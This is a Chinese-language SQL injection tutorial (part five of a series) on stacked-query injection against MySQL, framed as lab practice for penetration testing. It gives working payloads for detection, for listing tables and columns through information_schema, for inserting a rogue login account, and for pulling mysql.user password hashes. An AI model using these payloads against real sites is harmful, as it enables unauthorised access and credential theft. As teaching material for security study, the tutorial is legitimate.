文中详细讲解web安全之SQL注入,通过文中内容更加深入的掌握SQL注入的原理及检测方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
web安全之SQL注入(五)
堆叠注入
原理
堆叠查询可以执行多条的SQL语句,语句之前只需要使用分号隔开,而堆叠查询注入就是利用了这个特点。在MySQL中mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
但是堆叠查询只能返回第一条查询信息,不返回后面的信息;堆叠注入的危害很大,可以任意使用增删改查语句,从而使攻击者获得更多的权限
代码分析
从图中我们就可以看当这个参数是我们可控的,且可以使用堆叠查询时,则我们就可以利用这个特性来进行堆叠注入攻击。
漏洞演示
当然堆叠注入的判断方式和常规一样,同样通过1=1 1=2 这样来进行判断。
id=1' and '1'='1
id=1' and '1'='2
这里同样可以使用延迟来判断。
id=1' and sleep(5)--+
要使用堆叠注入来修改数据库,首先我们需要获取表名,字段名这些敏感信息。
首先获取表名
id=-1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
再获取字段名
id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+
当有了这些信息后,我们就可以利用堆叠查询的特性,进行增删改查等操作。
id=-1';insert into users values(20,'longwaer','123456')--+
id=-1';insert into users(id,username,password)values(20,'longwaer','123456')--+
针对这往数据库中添加信息有两种写法,一种就是在users后面把字段都写上,还有一种就是这上面的不写的。
可以从上图看出已成功将账户和密码写入,这样我们就可以使用我们写入的账户进行后台登陆。
同样我们可以在这个添加字符串的位置,修改成获取mysql数据库密码的子查询语句,从而获取敏感信息。
id=-1';insert into users values(1000,(select authentication_string from mysql.user limit 1 ),'123456')--+
在正常的时候,我们就可以在这个位置获取到mysql的密码,因为使用的docker里面mysql是空密码,所以这些不显示。
同理这里面子查询同样可以查询其余的敏感信息。
id=-1';insert into users values(1001,(select database()),'123456')--+